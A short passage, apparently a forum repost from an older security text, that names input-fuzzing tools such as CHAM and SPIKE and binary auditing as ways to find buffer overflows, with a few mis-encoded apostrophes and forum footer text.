common technique is to do input checking tests. Numerous tools are available
to check input fields in common programs. I wrote Common Hacker Attack
Methods (CHAM) as a part of eEye&iexcl;&brvbar;s Retina product (www.eEye.com) to
check common network protocols. Dave Aitel from @Stake wrote SPIKE
(www.atstake.com/research/tools/spike-v1.8.tar.gz), which is an API to test
Web application inputs. One newly-explored area of discovering overflows lies
in binary auditing. Binary auditing uses custom tools to look for strange or
commonly exploitable conditions in compiled code.There haven&iexcl;&brvbar;t been many
public tools released on this yet, but expect them to be making the rounds
soon.You may want to examine some of the attack tools as well.
mic64 目前離線  
送花文章: 0, 收花文章: 21 篇, 收花: 61 次